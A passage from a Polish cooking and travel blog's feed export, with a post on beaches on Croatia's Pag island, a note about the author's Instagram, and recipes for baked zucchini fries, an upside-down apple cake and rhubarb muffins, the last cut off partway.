&lt;a href=&quot;https://c1.staticflickr.com/5/4299/35085748104_13c47bf8b2_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;534&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4299/35085748104_13c47bf8b2_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Po posiłku wybieramy się na plaże. W Metajnie mamy do dyspozycji wąską i schludną plażę tuż za przystanią dla łodzi. Niezbyt duże wymiary i lokalizacja tuż przy wąskiej drodze jest niewątpliwie jej największą wadą, ale wieczorem, kiedy już opustoszeje staje się całkiem przyjemnym miejscem do posiedzenia i podziwiania zachodu słońca.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
Nieco dalej spacerując promenadą wiodącą wokół góry dochodzimy do kilku mniejszych, ale bardziej wciętych w brzeg plaż. Jedną z nich jest plaża &lt;b&gt;Suncane&lt;/b&gt;, która w porośnięta większą ilością roślinności malowniczo chyli się ku morzu do zatoki &lt;b&gt;Paški Zaljev&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4302/35135726013_866f958b56_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;450&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4302/35135726013_866f958b56_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Plaża Suncane&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
Atutem tych plaż jest dostęp i bliskość. Jeśli nocujemy w Metajnie można się na nie przejść nawet późnym wieczorem. Głównym plażowym celem jest jednak &lt;b&gt;Rucica&lt;/b&gt;. Z Metajny można do niej w zaledwie kilka minut dojechać samochodem. Trasa kończy się na dzikim parkingu, z niesamowitym widokiem na góry.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4314/35555889300_af573e6f53_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;534&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4314/35555889300_af573e6f53_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Parking przy Rucicy od strony Metajny&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Rucica to szeroka, płaska plaża łagodnie schodząca do morza. Jest niezwykle rozległa, dlatego duża liczba turystów nie wygląda tu jak ściśnięte śledzie. Woda przy plaży jest w dużej części płytka stwarzając odpowiednie warunki do wypoczynku nawet dla najmłodszych. Piękny widok skupia się na paskiej zatoce. W pobliżu znajduje się niewielki bar, dlatego można tu zaplanować dłuższy, nawet całodniowy pobyt. Polecana szczególnie rodzinom z dziećmi.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;https://c1.staticflickr.com/5/4299/35134450843_d1dcef11ee_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;450&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4299/35134450843_d1dcef11ee_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Widok z pobliskiego wzgórza na Rucicę&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
Nie znajdziecie tu zbyt dużo jeżowców, ale nie znajdzie tu także muszelek. Tych, którym leżenie cały dzień i moczenie się w wodzie nieszczególnie kręci polecamy spacer po pobliskim wzgórzu lub wyprawę na bardziej kameralną Beritnicę.&lt;br /&gt;
&lt;br /&gt;
Jak na nią trafić opiszę w osobnym poście. Ta wyjątkowa plaża zapewnia spokój, dużo miejsca i niezapomniane widoki. Charakterystyczne trzy ogromne głazy to wizytówka Beritnicy. Rozległa, duża plaża otulona górami i równie wyróżniającym się obok głazów stalagmitem.&lt;br /&gt;
&lt;br /&gt;
Jest piękna. Niepowtarzalna. Znajdziecie na niej mnóstwo muszelek, ale spotkanie tu także jeżowce, więc buty do wody są obowiązkowe w tym nieco bardziej dzikim rejonie Pagu.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c1.staticflickr.com/5/4397/36218930581_f1161cef40_c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;600&quot; data-original-width=&quot;800&quot; src=&quot;https://c1.staticflickr.com/5/4397/36218930581_f1161cef40_c.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Dojście od strony Rucicy na plaże Beritnica. Widoczne z góry trzy ogromne głazy.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Jeśli chcecie więcej relacji z pobytu na Pagu piszcie. Chętnie opiszę Wam miejsca, które zobaczyliśmy w ciągu naszego 7 dniowego pobytu.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/3816220871920369958/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2018/05/chorwacja-czyli-gdzie-na-wakacje.html#comment-form' title='Komentarze (2)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/3816220871920369958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/3816220871920369958'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2018/05/chorwacja-czyli-gdzie-na-wakacje.html' title='Chorwacja, czyli gdzie na wakacje?'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAg1wHRHtbEffIdM8lqp40Xnd_Bx_rccAPKPj0vW7kvt013N1sy8-NxXCoUQ3LIUafWZ94dxy4y6qemHkYtRGLCknW3HW2MDfUTvRGBGAa_ztkqK81csr0UVpMzf_gagVyRpmEj2RI0Xw/s72-c/35520258254_c0fcd88758_k.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-1901531239483691868</id><published>2017-08-30T22:54:00.001+02:00</published><updated>2017-08-30T22:54:41.077+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Inne"/><title type='text'>Gdzie jestem, kiedy mnie nie ma?</title><content type='html'>Na Instagramie :-) &lt;a href=&quot;https://www.instagram.com/odkuchni123/&quot; target=&quot;_blank&quot;&gt;Tu&lt;/a&gt;. Tak polubiłam się z tą nową lokalizacją, że od wyjazdu na urlop bywałam tylko tam. Od czerwca mogliście tam podglądać nasz wyjazd na Pag, chorwackie knajpki i bary, tamtejszą kuchnię, no i oczywiście plaże.&amp;nbsp;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrpAtpD8neXnLvbEluujl40Q_wrDqy5z6Fn48x2ynhYRuaJfU4KcYaboSSxpDONA6T6co_6-6n5ajnCw4J5U7Stf_R2GgpwhK7-YM27G9rmxNtyhvTb0osULMdOeV_6pgvXluBw_kaoSc/s1600/od-kuchni-insta.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;683&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrpAtpD8neXnLvbEluujl40Q_wrDqy5z6Fn48x2ynhYRuaJfU4KcYaboSSxpDONA6T6co_6-6n5ajnCw4J5U7Stf_R2GgpwhK7-YM27G9rmxNtyhvTb0osULMdOeV_6pgvXluBw_kaoSc/s1600/od-kuchni-insta.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
To chyba już swego rodzaju rytuał, że znikam na całe wakacje. W międzyczasie wpadło mi pierwsze zlecenie na wykonanie tortu z okazji chrztu. Co prawda od znajomej, ale od czegoś trzeba zacząć. Strasznie się ucieszyłam, a później przeczytałam wszystkie wymogi sanepidu, jeśli kiedyś naszłaby mnie ochota na oficjalne pieczenie. Niestety nasze prawo zabija... małe biznesy i (z dużym prawdopodobieństwem również) smak. Tak przynajmniej podejrzewam znając różnicę w smaku między dobrymi jajkami od szczęśliwej kurki od tych w kartonie/proszku itp. Teraz nie będzie mnie dziwić nijakość wypieków z piekarni.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ci, którzy zaglądają tu dłużej wiedzą także, że moja nieobecność jest spowodowana urodzinami małej i dużej L. Uff... na szczęście mam je już za sobą. W tym roku dzięki dwóm tortom na życzenie każdej solenizantki mogłam nauczyć się dwa razy więcej i już nie mogę się doczekać, aż wszystko udokumentuję i Wam pokażę, ale wszystko po kolei... Były foremki Wilton (moje nowe odkrycie), były masy SMBC, kolorowe ombre, dekoracje na ciastkach, tęczowe bezy i oczywiście niezastąpiony krem z kremówki i mascarpone. Było pysznie - kokosowo, malinowo, ale też dekadencko i czekoladowo.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
W ubiegły weekend miała miejsce kolejna kumulacja okazji. Świętowałam swoje 33 urodziny i z tej okazji ujawniłam swoją mordkę na insta. W ten sam weekend delektowaliśmy się naszą rocznicą ślubu i jagodowo-malinowym sernikiem na zimno z oreo. Mniam!&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Więcej i więcej już wkrótce!&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/1901531239483691868/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/08/gdzie-jestem-kiedy-mnie-nie-ma.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/1901531239483691868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/1901531239483691868'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/08/gdzie-jestem-kiedy-mnie-nie-ma.html' title='Gdzie jestem, kiedy mnie nie ma?'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrpAtpD8neXnLvbEluujl40Q_wrDqy5z6Fn48x2ynhYRuaJfU4KcYaboSSxpDONA6T6co_6-6n5ajnCw4J5U7Stf_R2GgpwhK7-YM27G9rmxNtyhvTb0osULMdOeV_6pgvXluBw_kaoSc/s72-c/od-kuchni-insta.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-577087324973987648</id><published>2017-06-29T19:50:00.001+02:00</published><updated>2017-08-03T17:54:02.109+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Małe danka"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><title type='text'>Pieczone frytki z cukinii z jogurtowym sosem</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
W sklepach powoli pojawiają się młode cukinie. Nasze co prawda w ogrodzie dopiero nieśmiało zaczynają kwitnąć, ale pora rozpocząć sezon. Dziś prezentuję Wam ostatnio wypróbowaną przekąskę, która jest zaskakująco sycąca i... pieczona. To także doskonały pomysł na przystawkę podczas spotkań ze znajomymi.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS4pi4WBLSH5rONn4Mphb4SMlW4FInaxkBkCLqUPUl6MslknL_IAjO4HUjSm-pRyYu207AzVtYkSfQNr51H3WJwVwVdbbVkSc-Lev2izzb-oJrv3r_rqFNo_EMykNGSNQOF00aevcNj74/s1600/35445574602_4b34aba670_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;683&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS4pi4WBLSH5rONn4Mphb4SMlW4FInaxkBkCLqUPUl6MslknL_IAjO4HUjSm-pRyYu207AzVtYkSfQNr51H3WJwVwVdbbVkSc-Lev2izzb-oJrv3r_rqFNo_EMykNGSNQOF00aevcNj74/s1600/35445574602_4b34aba670_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;składniki - frytki&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
1 średnia cukinia&lt;br /&gt;
2/3 szklanki mąki pszennej, może być pełnoziarnista&lt;br /&gt;
1 duże jajko&lt;br /&gt;
3 szklanki panko&lt;br /&gt;
3/4 łyżeczki słodkiej papryki&lt;br /&gt;
1/2 łyżeczki soli&lt;br /&gt;
1/2 łyżeczki pieprzu&lt;br /&gt;
oliwa z oliwek w spray&#39;u&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;składniki - sos&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
1/2 szklanki jogurtu greckiego&lt;br /&gt;
3 łyżki zielonego pesto&lt;br /&gt;
szczypta soli&lt;br /&gt;
&lt;br /&gt;
&lt;i style=&quot;text-decoration-line: underline;&quot;&gt;sposób przygotowania&lt;/i&gt;&lt;i&gt;:&lt;/i&gt;&lt;br /&gt;
Piekarnik rozgrzać do 220C. Płaską blachę wyłożyć papierem do pieczenia, a na wierzchu postawić kratkę do studzenia (z reguły jest ona podstawowym wyposażeniem piekarnika). Dzięki kratce frytki nie zmiękną od spodu.&lt;br /&gt;
&lt;br /&gt;
Cukinię pokroić w słupki o długości 7-8cm i grubości 0.5cm.&lt;br /&gt;
&lt;br /&gt;
W średniej misce umieścić mąkę. W drugiej ubić lekko widelcem jajko. W trzeciej wymieszać panko z przyprawami. &lt;br /&gt;
&lt;br /&gt;
Teraz czas na panierowanie naszych frytek. Każdy słupek obtaczamy w mące, następnie w jajku, a na końcu w panko z przyprawami. Kładziemy ja kratce. Gdy wszystkie frytki są gotowe spryskujemy je oliwą z oliwek. Jest to bardzo ważny etap, ponieważ dzięki niej frytki są chrupiące i złociste.&lt;br /&gt;
&lt;br /&gt;
Piec na kratce przez około 15 minut lub do momentu aż będą złociste i chrupkie.&lt;br /&gt;
&lt;br /&gt;
Składniki sosu wymieszać. Serwować od razu po przygotowaniu.&amp;nbsp;&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Źródło:&amp;nbsp;cookincanuck.com&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/577087324973987648/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/pieczone-frytki-z-cukinii-z-jogurtowym.html#comment-form' title='Komentarze (1)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/577087324973987648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/577087324973987648'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/pieczone-frytki-z-cukinii-z-jogurtowym.html' title='Pieczone frytki z cukinii z jogurtowym sosem'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS4pi4WBLSH5rONn4Mphb4SMlW4FInaxkBkCLqUPUl6MslknL_IAjO4HUjSm-pRyYu207AzVtYkSfQNr51H3WJwVwVdbbVkSc-Lev2izzb-oJrv3r_rqFNo_EMykNGSNQOF00aevcNj74/s72-c/35445574602_4b34aba670_b.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-1772115791929229988</id><published>2017-06-20T19:05:00.000+02:00</published><updated>2017-06-20T19:05:05.650+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ciasta i ciasteczka"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><title type='text'>Ciasto z karmelowymi jabłkami do góry nogami</title><content type='html'>Niezwykle proste i szybkie ciasto ucierane do góry nogami, czyli tzw. &lt;i&gt;upside down cake &lt;/i&gt;z nutą cytryny. Najlepiej smakuje na świeżym powietrzu. My zabraliśmy je na przechadzkę do lasu i polanę na Czartowym Polu. W przepełnionym zapachem sosny i żywicy lesie smakowało wybornie!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjadlVlCvl1byWKc_KdQkZnH4VM9SjYHJrtT8rLjR5in_XI1pP4dZJqCm2a6dsOiilPM2LC3ULZ-GZiGreV0wyYMVWLLxY1CMM7HPmwFaZ7kG-wU_SDzZPakHfi9PT1kO87wKw4HzzTNDg/s1600/35389383416_fdef7ba615_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;683&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjadlVlCvl1byWKc_KdQkZnH4VM9SjYHJrtT8rLjR5in_XI1pP4dZJqCm2a6dsOiilPM2LC3ULZ-GZiGreV0wyYMVWLLxY1CMM7HPmwFaZ7kG-wU_SDzZPakHfi9PT1kO87wKw4HzzTNDg/s1600/35389383416_fdef7ba615_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;składniki&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
3-4 łyżki cukru demerara, brązowego lub od biedy zwykłego&lt;br /&gt;
100g masła&amp;nbsp;+ dodatkowo do posmarowania blachy&lt;br /&gt;
50ml jogurtu greckiego&lt;br /&gt;
1-2 jabłka&lt;br /&gt;
2 jajka&lt;br /&gt;
120g cukru&lt;br /&gt;
1/2 łyżeczki ekstraktu z wanilii&lt;br /&gt;
120g mąki&lt;br /&gt;
1 łyżeczka proszku do pieczenia&lt;br /&gt;
1/4 łyżeczki soli&lt;br /&gt;
1 cytryna, skórka otarta + sok&amp;nbsp;z cytryny&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
Piekarnik rozgrzać do&amp;nbsp;175°C. Blachę o średnicy 22-24cm szczodrze wysmarować masłem. Dno tak przygotowanej blachy obsypać cukrem brązowym i odstawić na bok.&lt;br /&gt;
&lt;br /&gt;
Masło roztopić w małym rondelku. Dodać jogurt. Odstawić do wystygnięcia.&lt;br /&gt;
&lt;br /&gt;
Jabłka umyć, osuszyć, wydrążyć środki i pokroić w nieco grubsze półplasterki. Wyłożyć dno blachy. Skropić sokiem z cytryny.&lt;br /&gt;
&lt;br /&gt;
Jajka ubić z cukrem i ekstraktem waniliowym na wysokich obrotach. Masa powinna &amp;nbsp;być jasna i gładka.&lt;br /&gt;
&lt;br /&gt;
W osobnej misce wymieszać mąkę, proszek i sól. Dodać do ubitych jajek. Wymieszać delikatnie, a następnie dodać przestudzone masło z jogurtem. Wymieszać do uzyskania gładkiej masy.&lt;br /&gt;
&lt;br /&gt;
Ciasto przelać do blachy na przygotowane wcześniej jabłka. Wyrównać szpatułką.&lt;br /&gt;
&lt;br /&gt;
Piec 30-35 minut aż ciasto będzie na wierzchu złoto-brązowe, a patyczek wbity w ciasto będzie wychodził z niego czysty.&lt;br /&gt;
&lt;br /&gt;
Wyjąć ciasto w blasze. Odstawić do przestygnięcia na 5 minut. Po tym czasie odpiąć rant tortownicy i przełożyć ciasto na talerz odwracając je tak, aby wierzch stał się na talerzu jego spodem. pozostały na wierzchu ciasta spód tortownicy delikatnie podwadzamy nożem i ściągamy. Można dodatkowo przypiec wierzch palnikiem kuchennym. &lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
Podawać solo lub z lodami.</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/1772115791929229988/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/ciasto-z-karmelowymi-jabkami-do-gory.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/1772115791929229988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/1772115791929229988'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/06/ciasto-z-karmelowymi-jabkami-do-gory.html' title='Ciasto z karmelowymi jabłkami do góry nogami'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjadlVlCvl1byWKc_KdQkZnH4VM9SjYHJrtT8rLjR5in_XI1pP4dZJqCm2a6dsOiilPM2LC3ULZ-GZiGreV0wyYMVWLLxY1CMM7HPmwFaZ7kG-wU_SDzZPakHfi9PT1kO87wKw4HzzTNDg/s72-c/35389383416_fdef7ba615_b.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-3280429028671832712</id><published>2017-06-04T14:00:00.000+02:00</published><updated>2017-06-04T14:00:29.714+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ciasta i ciasteczka"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><title type='text'>Śmietankowe babeczki z kardamonowym rabarbarem </title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Zaskakujące połączenie przypraw i dobrze znanego z dzieciństwa smaku ciasta z rabarbarem skusiły mnie do wypróbowania tego przepisu przy okazji przyjęcia niespodzianki z okazji urodzin mojego męża. Wszystko poza tortem przygotowałam w ukryciu. Koleżanka zakupiła prezent, a ja pichciłam jak gdyby nigdy nic. W końcu co weekend coś się piecze.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Ze względu na ogromny pośpiech zastąpiłam krem imbirowy dobrze znanym połączeniem śmietany kremówki, mascarpone i cukru pudru. Miało być szybko i znienacka. Co najważniejsze udało się!&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Ciasto jest bajeczne, wilgotne i nie za słodkie. Połączenie rabarbaru z kardamonem podbija smak głównego bohatera i dodaje wyrazistości.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3VsMrgYbu1FIrYMxxRhIFLLUzp-_jiE6x3JSavgA1wDGaxxI25WsmyKR_FwTbpUIAPmTqLPN0NweJkkxatG6ar2iWY21MB7Hw8KWSwRff_XeMlHeZucLaP2Gx7kPz0pptyFLfj5-qUJU/s1600/34947060621_9eb7e7936b_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;683&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3VsMrgYbu1FIrYMxxRhIFLLUzp-_jiE6x3JSavgA1wDGaxxI25WsmyKR_FwTbpUIAPmTqLPN0NweJkkxatG6ar2iWY21MB7Hw8KWSwRff_XeMlHeZucLaP2Gx7kPz0pptyFLfj5-qUJU/s1600/34947060621_9eb7e7936b_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Wszystkie składniki przed przystąpienie do pieczenia powinny być w temperaturze pokojowej.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;porcja:&lt;/u&gt; 12-18 muffinek&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;u&gt;składniki - babeczki&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
1 1/4 szklanki&amp;nbsp;+ 2 łyżki mąki pszennej&lt;br /&gt;
3/4 szklanki&amp;nbsp;+ łyżka cukru&lt;br /&gt;
1 1/2 łyżeczki proszku do pieczenia&lt;br /&gt;
1/4 łyżeczki soli&lt;br /&gt;
100g miękkiego masła&lt;br /&gt;
2 średnie jajka&lt;br /&gt;
1/2 szklanki kwaśnej śmietany&lt;br /&gt;
1/2 łyżeczki ekstraktu z wanilii&lt;br /&gt;
100g rabarbaru, pokrojonego w drobną kostkę&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
Rozgrzej piekarnik do 175°C. Przygotuj blachę do muffinek wkładając w każde zakłębienie papilotki.&lt;br /&gt;
&lt;br /&gt;
Suche składniki umieść w dzierży miksera lub dużej misce. Dodaj masło, jajka, śmietaję i wanilię. Ubij na gładką masę. Na koniec dodaj rabarbar i wymieszaj.&lt;br /&gt;
&lt;br /&gt;
